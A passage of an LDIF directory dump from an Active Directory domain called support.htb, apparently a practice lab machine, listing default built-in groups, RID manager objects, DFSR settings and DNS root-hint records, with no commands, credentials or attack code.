dn: CN=Windows Authorization Access Group,CN=Builtin,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Windows Authorization Access Group
description: Members of this group have access to the computed tokenGroupsGlob
 alAndUniversal attribute on User objects
member: CN=S-1-5-9,CN=ForeignSecurityPrincipals,DC=support,DC=htb
distinguishedName: CN=Windows Authorization Access Group,CN=Builtin,DC=support
 ,DC=htb
instanceType: 4
whenCreated: 20220528110343.0Z
whenChanged: 20220528110343.0Z
uSNCreated: 12372
uSNChanged: 12396
name: Windows Authorization Access Group
objectGUID:: YaaHVBwOAUGE91R5CV0xZQ==
objectSid:: AQIAAAAAAAUgAAAAMAIAAA==
sAMAccountName: Windows Authorization Access Group
sAMAccountType: 536870912
systemFlags: -1946157056
groupType: -2147483643
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000001.0Z

# Terminal Server License Servers, Builtin, support.htb
dn: CN=Terminal Server License Servers,CN=Builtin,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Terminal Server License Servers
description: Members of this group can update user accounts in Active Director
 y with information about license issuance, for the purpose of tracking and re
 porting TS Per User CAL usage
distinguishedName: CN=Terminal Server License Servers,CN=Builtin,DC=support,DC
 =htb
instanceType: 4
whenCreated: 20220528110343.0Z
whenChanged: 20220528110343.0Z
uSNCreated: 12375
uSNChanged: 12377
name: Terminal Server License Servers
objectGUID:: 8HesVGnUG0y4yYBrNdC/xA==
objectSid:: AQIAAAAAAAUgAAAAMQIAAA==
sAMAccountName: Terminal Server License Servers
sAMAccountType: 536870912
systemFlags: -1946157056
groupType: -2147483643
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110343.0Z
dSCorePropagationData: 16010101000001.0Z

# S-1-5-9, ForeignSecurityPrincipals, support.htb
dn: CN=S-1-5-9,CN=ForeignSecurityPrincipals,DC=support,DC=htb
objectClass: top
objectClass: foreignSecurityPrincipal
cn: S-1-5-9
distinguishedName: CN=S-1-5-9,CN=ForeignSecurityPrincipals,DC=support,DC=htb
showInAdvancedViewOnly: TRUE
name: S-1-5-9
objectGUID:: h99xAqMOcEWIT1ci5/EBDw==
objectSid:: AQEAAAAAAAUJAAAA
objectCategory: CN=Foreign-Security-Principal,CN=Schema,CN=Configuration,DC=su
 pport,DC=htb

# 6E157EDF-4E72-4052-A82A-EC3F91021A22, Operations, DomainUpdates, System, supp
 ort.htb
dn: CN=6E157EDF-4E72-4052-A82A-EC3F91021A22,CN=Operations,CN=DomainUpdates,CN=
 System,DC=support,DC=htb
objectClass: top
objectClass: container
cn: 6E157EDF-4E72-4052-A82A-EC3F91021A22
distinguishedName: CN=6E157EDF-4E72-4052-A82A-EC3F91021A22,CN=Operations,CN=Do
 mainUpdates,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110343.0Z
whenChanged: 20220528110343.0Z
uSNCreated: 12397
uSNChanged: 12397
showInAdvancedViewOnly: TRUE
name: 6E157EDF-4E72-4052-A82A-EC3F91021A22
objectGUID:: L3CQgn0dO0Crc/to2tCH8g==
objectCategory: CN=Container,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# Allowed RODC Password Replication Group, Users, support.htb
dn: CN=Allowed RODC Password Replication Group,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Allowed RODC Password Replication Group
description: Members in this group can have their passwords replicated to all
 read-only domain controllers in the domain
distinguishedName: CN=Allowed RODC Password Replication Group,CN=Users,DC=supp
 ort,DC=htb
instanceType: 4
whenCreated: 20220528110343.0Z
whenChanged: 20220528110343.0Z
uSNCreated: 12402
uSNChanged: 12404
name: Allowed RODC Password Replication Group
objectGUID:: c9ipRQgk1U+7kOD9r95qrw==
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILOwIAAA==
sAMAccountName: Allowed RODC Password Replication Group
sAMAccountType: 536870912
groupType: -2147483644
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# Denied RODC Password Replication Group, Users, support.htb
dn: CN=Denied RODC Password Replication Group,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Denied RODC Password Replication Group
description: Members in this group cannot have their passwords replicated to a
 ny read-only domain controllers in the domain
member: CN=Read-only Domain Controllers,CN=Users,DC=support,DC=htb
member: CN=Group Policy Creator Owners,CN=Users,DC=support,DC=htb
member: CN=Domain Admins,CN=Users,DC=support,DC=htb
member: CN=Cert Publishers,CN=Users,DC=support,DC=htb
member: CN=Enterprise Admins,CN=Users,DC=support,DC=htb
member: CN=Schema Admins,CN=Users,DC=support,DC=htb
member: CN=Domain Controllers,CN=Users,DC=support,DC=htb
member: CN=krbtgt,CN=Users,DC=support,DC=htb
distinguishedName: CN=Denied RODC Password Replication Group,CN=Users,DC=suppo
 rt,DC=htb
instanceType: 4
whenCreated: 20220528110343.0Z
whenChanged: 20220528110343.0Z
uSNCreated: 12405
uSNChanged: 12433
name: Denied RODC Password Replication Group
objectGUID:: JX6Bq3TqBEO536AlmQTXGQ==
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILPAIAAA==
sAMAccountName: Denied RODC Password Replication Group
sAMAccountType: 536870912
groupType: -2147483644
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# Read-only Domain Controllers, Users, support.htb
dn: CN=Read-only Domain Controllers,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Read-only Domain Controllers
description: Members of this group are Read-Only Domain Controllers in the dom
 ain
distinguishedName: CN=Read-only Domain Controllers,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110343.0Z
whenChanged: 20220528111947.0Z
uSNCreated: 12419
memberOf: CN=Denied RODC Password Replication Group,CN=Users,DC=support,DC=htb
uSNChanged: 13089
name: Read-only Domain Controllers
objectGUID:: oyG5YD2XqE6hwnqADL3JYA==
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILCQIAAA==
adminCount: 1
sAMAccountName: Read-only Domain Controllers
sAMAccountType: 268435456
groupType: -2147483646
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528111947.0Z
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000416.0Z

# Enterprise Read-only Domain Controllers, Users, support.htb
dn: CN=Enterprise Read-only Domain Controllers,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Enterprise Read-only Domain Controllers
description: Members of this group are Read-Only Domain Controllers in the ent
 erprise
distinguishedName: CN=Enterprise Read-only Domain Controllers,CN=Users,DC=supp
 ort,DC=htb
instanceType: 4
whenCreated: 20220528110343.0Z
whenChanged: 20220528110343.0Z
uSNCreated: 12429
uSNChanged: 12431
name: Enterprise Read-only Domain Controllers
objectGUID:: Uv8SRz7wvUCtT3ekcPs1Nw==
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEIL8gEAAA==
sAMAccountName: Enterprise Read-only Domain Controllers
sAMAccountType: 268435456
groupType: -2147483640
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# Cloneable Domain Controllers, Users, support.htb
dn: CN=Cloneable Domain Controllers,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Cloneable Domain Controllers
description: Members of this group that are domain controllers may be cloned.
distinguishedName: CN=Cloneable Domain Controllers,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110343.0Z
whenChanged: 20220528110343.0Z
uSNCreated: 12440
uSNChanged: 12442
name: Cloneable Domain Controllers
objectGUID:: 6o/buUpCVkWE1hsYhJ0C7A==
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILCgIAAA==
sAMAccountName: Cloneable Domain Controllers
sAMAccountType: 268435456
groupType: -2147483646
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# Protected Users, Users, support.htb
dn: CN=Protected Users,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Protected Users
description: Members of this group are afforded additional protections against
  authentication security threats. See http://go.microsoft.com/fwlink/?LinkId=
 298939 for more information.
distinguishedName: CN=Protected Users,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110343.0Z
whenChanged: 20220528110343.0Z
uSNCreated: 12445
uSNChanged: 12447
name: Protected Users
objectGUID:: WWO6zBhGcU2BvsuFsuijDQ==
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILDQIAAA==
sAMAccountName: Protected Users
sAMAccountType: 268435456
groupType: -2147483646
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000001.0Z

# Key Admins, Users, support.htb
dn: CN=Key Admins,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Key Admins
description: Members of this group can perform administrative actions on key o
 bjects within the domain.
distinguishedName: CN=Key Admins,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110343.0Z
whenChanged: 20220528111947.0Z
uSNCreated: 12450
uSNChanged: 13072
name: Key Admins
objectGUID:: lu9JrnlC0EqsJO7Ca/1Yyg==
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILDgIAAA==
adminCount: 1
sAMAccountName: Key Admins
sAMAccountType: 268435456
groupType: -2147483646
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528111947.0Z
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000416.0Z

# Enterprise Key Admins, Users, support.htb
dn: CN=Enterprise Key Admins,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Enterprise Key Admins
description: Members of this group can perform administrative actions on key o
 bjects within the forest.
distinguishedName: CN=Enterprise Key Admins,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110343.0Z
whenChanged: 20220528111947.0Z
uSNCreated: 12453
uSNChanged: 13075
name: Enterprise Key Admins
objectGUID:: +XXDlrk+kkaqJztpO6OUlQ==
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILDwIAAA==
adminCount: 1
sAMAccountName: Enterprise Key Admins
sAMAccountType: 268435456
groupType: -2147483640
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20220528111947.0Z
dSCorePropagationData: 20220528110344.0Z
dSCorePropagationData: 16010101000416.0Z

# RID Manager$, System, support.htb
dn: CN=RID Manager$,CN=System,DC=support,DC=htb
objectClass: top
objectClass: rIDManager
cn: RID Manager$
distinguishedName: CN=RID Manager$,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110353.0Z
whenChanged: 20260414232843.0Z
uSNCreated: 12470
uSNChanged: 90146
showInAdvancedViewOnly: TRUE
name: RID Manager$
objectGUID:: VstxCZbUfUq06hNfTXkpeA==
fSMORoleOwner: CN=NTDS Settings,CN=DC,CN=Servers,CN=Default-First-Site-Name,CN
 =Sites,CN=Configuration,DC=support,DC=htb
rIDAvailablePool: 4611686014132427208
systemFlags: -1946157056
objectCategory: CN=RID-Manager,CN=Schema,CN=Configuration,DC=support,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 16010101000000.0Z

# RID Set, DC, Domain Controllers, support.htb
dn: CN=RID Set,CN=DC,OU=Domain Controllers,DC=support,DC=htb
objectClass: top
objectClass: rIDSet
cn: RID Set
distinguishedName: CN=RID Set,CN=DC,OU=Domain Controllers,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110353.0Z
whenChanged: 20260414232843.0Z
uSNCreated: 12473
uSNChanged: 90147
showInAdvancedViewOnly: TRUE
name: RID Set
objectGUID:: +kt6vAIq2Uu7F4UMwoHlPg==
rIDAllocationPool: 28342489192404
rIDPreviousAllocationPool: 28342489192404
rIDUsedPool: 0
rIDNextRID: 6100
objectCategory: CN=RID-Set,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528111813.0Z
dSCorePropagationData: 16010101000001.0Z

# DnsAdmins, Users, support.htb
dn: CN=DnsAdmins,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: group
cn: DnsAdmins
description: DNS Administrators Group
distinguishedName: CN=DnsAdmins,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110517.0Z
whenChanged: 20220528110517.0Z
uSNCreated: 12487
uSNChanged: 12489
name: DnsAdmins
objectGUID:: 2q5qdYNl8EauIghx5W/HkA==
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILTQQAAA==
sAMAccountName: DnsAdmins
sAMAccountType: 536870912
groupType: -2147483644
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 16010101000000.0Z

# DnsUpdateProxy, Users, support.htb
dn: CN=DnsUpdateProxy,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: group
cn: DnsUpdateProxy
description: DNS clients who are permitted to perform dynamic updates on behal
 f of some other clients (such as DHCP servers).
distinguishedName: CN=DnsUpdateProxy,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110517.0Z
whenChanged: 20220528110517.0Z
uSNCreated: 12492
uSNChanged: 12492
name: DnsUpdateProxy
objectGUID:: Nc+gxph1Vkag0TSb27cHLw==
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILTgQAAA==
sAMAccountName: DnsUpdateProxy
sAMAccountType: 268435456
groupType: -2147483646
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 16010101000000.0Z

# MicrosoftDNS, System, support.htb
dn: CN=MicrosoftDNS,CN=System,DC=support,DC=htb

# RootDNSServers, MicrosoftDNS, System, support.htb
dn: DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=support,DC=htb
objectClass: top
objectClass: dnsZone
cn: Zone
distinguishedName: DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=support,DC=h
 tb
instanceType: 4
whenCreated: 20220528110517.0Z
whenChanged: 20220528110517.0Z
uSNCreated: 12501
uSNChanged: 12503
showInAdvancedViewOnly: TRUE
name: RootDNSServers
objectGUID:: GOiAAzxYx0yWKcBUmaa9Yw==
objectCategory: CN=Dns-Zone,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528110517.0Z
dSCorePropagationData: 20220528110517.0Z
dSCorePropagationData: 16010101000000.0Z
dc: RootDNSServers

# @, RootDNSServers, MicrosoftDNS, System, support.htb
dn: DC=@,DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=support,DC=htb
objectClass: top
objectClass: dnsNode
distinguishedName: DC=@,DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=support
 ,DC=htb
instanceType: 4
whenCreated: 20220528110517.0Z
whenChanged: 20220528110517.0Z
uSNCreated: 12504
uSNChanged: 12504
showInAdvancedViewOnly: TRUE
name: @
objectGUID:: qWgxL/1Jo0iyATfPqF8f0Q==
dnsRecord:: FgACAAUIAAAAAAAAAAAAAAAAAAAAAAAAFAMBbQxyb290LXNlcnZlcnMDbmV0AA==
dnsRecord:: FgACAAUIAAAAAAAAAAAAAAAAAAAAAAAAFAMBbAxyb290LXNlcnZlcnMDbmV0AA==
dnsRecord:: FgACAAUIAAAAAAAAAAAAAAAAAAAAAAAAFAMBawxyb290LXNlcnZlcnMDbmV0AA==
dnsRecord:: FgACAAUIAAAAAAAAAAAAAAAAAAAAAAAAFAMBagxyb290LXNlcnZlcnMDbmV0AA==
dnsRecord:: FgACAAUIAAAAAAAAAAAAAAAAAAAAAAAAFAMBaQxyb290LXNlcnZlcnMDbmV0AA==
dnsRecord:: FgACAAUIAAAAAAAAAAAAAAAAAAAAAAAAFAMBaAxyb290LXNlcnZlcnMDbmV0AA==
dnsRecord:: FgACAAUIAAAAAAAAAAAAAAAAAAAAAAAAFAMBZwxyb290LXNlcnZlcnMDbmV0AA==
dnsRecord:: FgACAAUIAAAAAAAAAAAAAAAAAAAAAAAAFAMBZgxyb290LXNlcnZlcnMDbmV0AA==
dnsRecord:: FgACAAUIAAAAAAAAAAAAAAAAAAAAAAAAFAMBZQxyb290LXNlcnZlcnMDbmV0AA==
dnsRecord:: FgACAAUIAAAAAAAAAAAAAAAAAAAAAAAAFAMBZAxyb290LXNlcnZlcnMDbmV0AA==
dnsRecord:: FgACAAUIAAAAAAAAAAAAAAAAAAAAAAAAFAMBYwxyb290LXNlcnZlcnMDbmV0AA==
dnsRecord:: FgACAAUIAAAAAAAAAAAAAAAAAAAAAAAAFAMBYgxyb290LXNlcnZlcnMDbmV0AA==
dnsRecord:: FgACAAUIAAAAAAAAAAAAAAAAAAAAAAAAFAMBYQxyb290LXNlcnZlcnMDbmV0AA==
objectCategory: CN=Dns-Node,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 16010101000000.0Z
dc: @

# a.root-servers.net, RootDNSServers, MicrosoftDNS, System, support.htb
dn: DC=a.root-servers.net,DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=suppo
 rt,DC=htb
objectClass: top
objectClass: dnsNode
distinguishedName: DC=a.root-servers.net,DC=RootDNSServers,CN=MicrosoftDNS,CN=
 System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110517.0Z
whenChanged: 20220528110517.0Z
uSNCreated: 12505
uSNChanged: 12506
showInAdvancedViewOnly: TRUE
name: a.root-servers.net
objectGUID:: FbGOnKTrzUayxnplApBqhA==
dnsRecord:: EAAcAAUIAAAAAAAAAAAAAAAAAAAAAAAAIAEFA7o+AAAAAAAAAAIAMA==
objectCategory: CN=Dns-Node,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 16010101000000.0Z
dNSTombstoned: FALSE
dc: a.root-servers.net

# b.root-servers.net, RootDNSServers, MicrosoftDNS, System, support.htb
dn: DC=b.root-servers.net,DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=suppo
 rt,DC=htb
objectClass: top
objectClass: dnsNode
distinguishedName: DC=b.root-servers.net,DC=RootDNSServers,CN=MicrosoftDNS,CN=
 System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110517.0Z
whenChanged: 20220528110517.0Z
uSNCreated: 12507
uSNChanged: 12508
showInAdvancedViewOnly: TRUE
name: b.root-servers.net
objectGUID:: mT130ou8JE+h1jjo0ME0rg==
dnsRecord:: EAAcAAUIAAAAAAAAAAAAAAAAAAAAAAAAIAEFAAIAAAAAAAAAAAAACw==
objectCategory: CN=Dns-Node,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 16010101000000.0Z
dNSTombstoned: FALSE
dc: b.root-servers.net

# c.root-servers.net, RootDNSServers, MicrosoftDNS, System, support.htb
dn: DC=c.root-servers.net,DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=suppo
 rt,DC=htb
objectClass: top
objectClass: dnsNode
distinguishedName: DC=c.root-servers.net,DC=RootDNSServers,CN=MicrosoftDNS,CN=
 System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110517.0Z
whenChanged: 20220528110517.0Z
uSNCreated: 12509
uSNChanged: 12510
showInAdvancedViewOnly: TRUE
name: c.root-servers.net
objectGUID:: s6lDr/YNSkGksZZ/yhTs+g==
dnsRecord:: EAAcAAUIAAAAAAAAAAAAAAAAAAAAAAAAIAEFAAACAAAAAAAAAAAADA==
objectCategory: CN=Dns-Node,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 16010101000000.0Z
dNSTombstoned: FALSE
dc: c.root-servers.net

# d.root-servers.net, RootDNSServers, MicrosoftDNS, System, support.htb
dn: DC=d.root-servers.net,DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=suppo
 rt,DC=htb
objectClass: top
objectClass: dnsNode
distinguishedName: DC=d.root-servers.net,DC=RootDNSServers,CN=MicrosoftDNS,CN=
 System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110517.0Z
whenChanged: 20220528110517.0Z
uSNCreated: 12511
uSNChanged: 12512
showInAdvancedViewOnly: TRUE
name: d.root-servers.net
objectGUID:: xEsovCFQQk+HCyxpPQE9vg==
dnsRecord:: EAAcAAUIAAAAAAAAAAAAAAAAAAAAAAAAIAEFAAAtAAAAAAAAAAAADQ==
objectCategory: CN=Dns-Node,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 16010101000000.0Z
dNSTombstoned: FALSE
dc: d.root-servers.net

# e.root-servers.net, RootDNSServers, MicrosoftDNS, System, support.htb
dn: DC=e.root-servers.net,DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=suppo
 rt,DC=htb
objectClass: top
objectClass: dnsNode
distinguishedName: DC=e.root-servers.net,DC=RootDNSServers,CN=MicrosoftDNS,CN=
 System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110517.0Z
whenChanged: 20220528110517.0Z
uSNCreated: 12513
uSNChanged: 12514
showInAdvancedViewOnly: TRUE
name: e.root-servers.net
objectGUID:: n9aW4aOcRUSla40/2AF6Cw==
dnsRecord:: EAAcAAUIAAAAAAAAAAAAAAAAAAAAAAAAIAEFAACoAAAAAAAAAAAADg==
objectCategory: CN=Dns-Node,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 16010101000000.0Z
dNSTombstoned: FALSE
dc: e.root-servers.net

# f.root-servers.net, RootDNSServers, MicrosoftDNS, System, support.htb
dn: DC=f.root-servers.net,DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=suppo
 rt,DC=htb
objectClass: top
objectClass: dnsNode
distinguishedName: DC=f.root-servers.net,DC=RootDNSServers,CN=MicrosoftDNS,CN=
 System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110517.0Z
whenChanged: 20220528110517.0Z
uSNCreated: 12515
uSNChanged: 12516
showInAdvancedViewOnly: TRUE
name: f.root-servers.net
objectGUID:: ZYm1Y9N+GUC5DZVek3dVGA==
dnsRecord:: EAAcAAUIAAAAAAAAAAAAAAAAAAAAAAAAIAEFAAAvAAAAAAAAAAAADw==
objectCategory: CN=Dns-Node,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 16010101000000.0Z
dNSTombstoned: FALSE
dc: f.root-servers.net

# g.root-servers.net, RootDNSServers, MicrosoftDNS, System, support.htb
dn: DC=g.root-servers.net,DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=suppo
 rt,DC=htb
objectClass: top
objectClass: dnsNode
distinguishedName: DC=g.root-servers.net,DC=RootDNSServers,CN=MicrosoftDNS,CN=
 System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110517.0Z
whenChanged: 20220528110517.0Z
uSNCreated: 12517
uSNChanged: 12518
showInAdvancedViewOnly: TRUE
name: g.root-servers.net
objectGUID:: V5oYbXWBy06rRzZnWyji4w==
dnsRecord:: EAAcAAUIAAAAAAAAAAAAAAAAAAAAAAAAIAEFAAASAAAAAAAAAAANDQ==
objectCategory: CN=Dns-Node,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 16010101000000.0Z
dNSTombstoned: FALSE
dc: g.root-servers.net

# h.root-servers.net, RootDNSServers, MicrosoftDNS, System, support.htb
dn: DC=h.root-servers.net,DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=suppo
 rt,DC=htb
objectClass: top
objectClass: dnsNode
distinguishedName: DC=h.root-servers.net,DC=RootDNSServers,CN=MicrosoftDNS,CN=
 System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110517.0Z
whenChanged: 20220528110517.0Z
uSNCreated: 12519
uSNChanged: 12520
showInAdvancedViewOnly: TRUE
name: h.root-servers.net
objectGUID:: xWB9foczwEmxh91nTHeevQ==
dnsRecord:: EAAcAAUIAAAAAAAAAAAAAAAAAAAAAAAAIAEFAAABAAAAAAAAAAAAUw==
objectCategory: CN=Dns-Node,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 16010101000000.0Z
dNSTombstoned: FALSE
dc: h.root-servers.net

# i.root-servers.net, RootDNSServers, MicrosoftDNS, System, support.htb
dn: DC=i.root-servers.net,DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=suppo
 rt,DC=htb
objectClass: top
objectClass: dnsNode
distinguishedName: DC=i.root-servers.net,DC=RootDNSServers,CN=MicrosoftDNS,CN=
 System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110517.0Z
whenChanged: 20220528110517.0Z
uSNCreated: 12521
uSNChanged: 12522
showInAdvancedViewOnly: TRUE
name: i.root-servers.net
objectGUID:: i0j8R1LrVkyMuwg/cWbcWw==
dnsRecord:: EAAcAAUIAAAAAAAAAAAAAAAAAAAAAAAAIAEH/gAAAAAAAAAAAAAAUw==
objectCategory: CN=Dns-Node,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 16010101000000.0Z
dNSTombstoned: FALSE
dc: i.root-servers.net

# j.root-servers.net, RootDNSServers, MicrosoftDNS, System, support.htb
dn: DC=j.root-servers.net,DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=suppo
 rt,DC=htb
objectClass: top
objectClass: dnsNode
distinguishedName: DC=j.root-servers.net,DC=RootDNSServers,CN=MicrosoftDNS,CN=
 System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110517.0Z
whenChanged: 20220528110517.0Z
uSNCreated: 12523
uSNChanged: 12524
showInAdvancedViewOnly: TRUE
name: j.root-servers.net
objectGUID:: n6cx8u5KWEmq5jeMvc18mw==
dnsRecord:: EAAcAAUIAAAAAAAAAAAAAAAAAAAAAAAAIAEFAwwnAAAAAAAAAAIAMA==
objectCategory: CN=Dns-Node,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 16010101000000.0Z
dNSTombstoned: FALSE
dc: j.root-servers.net

# k.root-servers.net, RootDNSServers, MicrosoftDNS, System, support.htb
dn: DC=k.root-servers.net,DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=suppo
 rt,DC=htb
objectClass: top
objectClass: dnsNode
distinguishedName: DC=k.root-servers.net,DC=RootDNSServers,CN=MicrosoftDNS,CN=
 System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110517.0Z
whenChanged: 20220528110517.0Z
uSNCreated: 12525
uSNChanged: 12526
showInAdvancedViewOnly: TRUE
name: k.root-servers.net
objectGUID:: 0XwdnWnIDUy4uuDUjIVZJA==
dnsRecord:: EAAcAAUIAAAAAAAAAAAAAAAAAAAAAAAAIAEH/QAAAAAAAAAAAAAAAQ==
objectCategory: CN=Dns-Node,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 16010101000000.0Z
dNSTombstoned: FALSE
dc: k.root-servers.net

# l.root-servers.net, RootDNSServers, MicrosoftDNS, System, support.htb
dn: DC=l.root-servers.net,DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=suppo
 rt,DC=htb
objectClass: top
objectClass: dnsNode
distinguishedName: DC=l.root-servers.net,DC=RootDNSServers,CN=MicrosoftDNS,CN=
 System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110517.0Z
whenChanged: 20220528110517.0Z
uSNCreated: 12527
uSNChanged: 12528
showInAdvancedViewOnly: TRUE
name: l.root-servers.net
objectGUID:: wOz8RIuyL0q8zkYhisBirw==
dnsRecord:: EAAcAAUIAAAAAAAAAAAAAAAAAAAAAAAAIAEFAACfAAAAAAAAAAAAQg==
objectCategory: CN=Dns-Node,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 16010101000000.0Z
dNSTombstoned: FALSE
dc: l.root-servers.net

# m.root-servers.net, RootDNSServers, MicrosoftDNS, System, support.htb
dn: DC=m.root-servers.net,DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=suppo
 rt,DC=htb
objectClass: top
objectClass: dnsNode
distinguishedName: DC=m.root-servers.net,DC=RootDNSServers,CN=MicrosoftDNS,CN=
 System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110517.0Z
whenChanged: 20220528110517.0Z
uSNCreated: 12529
uSNChanged: 12530
showInAdvancedViewOnly: TRUE
name: m.root-servers.net
objectGUID:: Dwar0PVaoEecV1sJd2sebg==
dnsRecord:: EAAcAAUIAAAAAAAAAAAAAAAAAAAAAAAAIAENwwAAAAAAAAAAAAAANQ==
objectCategory: CN=Dns-Node,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 16010101000000.0Z
dNSTombstoned: FALSE
dc: m.root-servers.net

# DFSR-GlobalSettings, System, support.htb
dn: CN=DFSR-GlobalSettings,CN=System,DC=support,DC=htb
objectClass: top
objectClass: msDFSR-GlobalSettings
cn: DFSR-GlobalSettings
distinguishedName: CN=DFSR-GlobalSettings,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110953.0Z
whenChanged: 20220528110953.0Z
uSNCreated: 12571
uSNChanged: 12572
